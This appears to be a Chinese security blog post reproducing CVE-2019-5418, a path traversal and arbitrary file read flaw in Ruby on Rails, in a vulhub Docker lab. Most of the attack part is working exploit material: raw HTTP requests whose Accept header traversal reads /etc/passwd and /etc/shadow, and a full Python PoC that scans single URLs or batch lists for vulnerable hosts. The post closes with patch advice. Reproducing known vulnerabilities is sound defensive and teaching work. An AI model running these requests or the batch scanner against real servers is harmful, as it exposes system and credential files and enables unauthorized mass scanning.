Ruby on Rails路径穿越与任意文件读取复现
CVE-2019-5418
编写者:thelostworld_fv
简介:
Ruby on Rails是一个 Web 应用程序框架,是一个相对较新的 Web 应用程序框架,构建在 Ruby 语言之上。它被宣传为现有企业框架的一个替代,而它的目标,就是让 Web 开发方面的生活,变得更轻松。
漏洞描述:
这个漏洞主要是由于Ruby on Rails使用了指定参数的render file来渲染应用之外的视图,我们可以通过修改访问某控制器的请求包,通过“../../../../”来达到路径穿越的目的,然后再通过“{{”来进行模板查询路径的闭合,使得所要访问的文件被当做外部模板来解析。
影响版本:
Rails 全版本
其中修复版本:
Rails 6.0.0.beta3,5.2.2.1,5.1.6.2,5.0.7.2,4.2.11.1
漏洞复现(Docker环境):
git clone https://github.com/vulhub/vulhub.git
cd /vulhub/rails/CVE-2019-5418
docker-compose up -d
docker 实验环境
启动环境
http://192.168.182.143:3000/ 访问ip+3000
请求robots,Burp抓包
访问http://your-ip:3000/robots可见,正常的robots.txt文件被读取出来。
利用漏洞,发送如下数据包,读取/etc/passwd:
GET /robots HTTP/1.1
Host: your-ip:3000 Accept-Encoding: gzip, deflate
Accept: ../../../../../../../../etc/passwd{{
Accept-Language: en User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
读取etc/passwd
查看shadow文件
GET /robots HTTP/1.1
Host: 192.168.182.143:3000
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:70.0) Gecko/20100101 Firefox/70.0
Accept-Language: en-US,en;q=0.5
Accept: ../../../../../../../../etc/shadow{{
Connection: close
Upgrade-Insecure-Requests: 1
还可以使用msf里面的攻击模块
测试
python脚本POC验证:https://github.com/Paper-Pen/TimelineSec_POC
#CVE-2019-5418Ruby on Rails路径穿越与任意文件
# Usage:python3 CVE-2019-5418.py -u url
# python3 CVE-2019-5418.py -f url.txt
import requests
import argparse
import sys
def rail_poc(url):
url = url+'/robots'
headers = {
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:70.0) Gecko/20100101 Firefox/70.0",
"Accept": "../../../../../../etc/passwd{{",
"Accept-Language": "zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2",
"Accept-Encoding": "gzip, deflate",
"DNT": "1",
"Connection": "close",
"Upgrade-Insecure-Requests": "1",
}
resp = requests.get(url,headers=headers).text
if "nologin" in resp:
print(url+"存在任意文件读取漏洞")
print(resp)
else:
print("不存在漏洞")
if __name__ == '__main__':
if len(sys.argv) == 1:
print('python3 CVE-2019-5418.py -u url')
print('python3 CVE-2019-5418.py -f url.txt')
parser = argparse.ArgumentParser(description="CVE-2019-5418.py -u 指定url -f 指定文本")
parser.add_argument('-u', '--url', default='', help="-u http://xx.xx.xx.xx")
parser.add_argument('-f', '--file', default='', help="-f xxx.txt")
args = parser.parse_args()
if args.url:
rail_poc(args.url)
if args.file:
with open(args.file,'r') as f:
urls = f.readlines()
for url in urls:
url = url.strip('\n').strip('\r')
rail_poc(url)
修复建议:
1. 使用已经修复该漏洞的版本
地址:https://github.com/rails/rails/commit/f4c70c2222180b8d9d924f00af0c7fd632e26715
总结:
1、注意那个msf的端口和最后的/etc/passwd的文件位置。
2、python的脚本修改了一下,可以直观的看/etc/passwd的具体的文件内容。
(如果的批量还是注释返回的数据的打印)
3、最近工作闲暇漏洞复现一下(安全贵在坚持),如果有纰漏,望大佬指正。
参考:
https://mp.weixin.qq.com/s/Ok8vzfs1YUOahvU6AY2s5w
https://www.freebuf.com/vuls/199617.html
个人知乎:https://www.zhihu.com/people/fu-wei-43-69/columns
个人简书:https://www.jianshu.com/u/bf0e38a8d400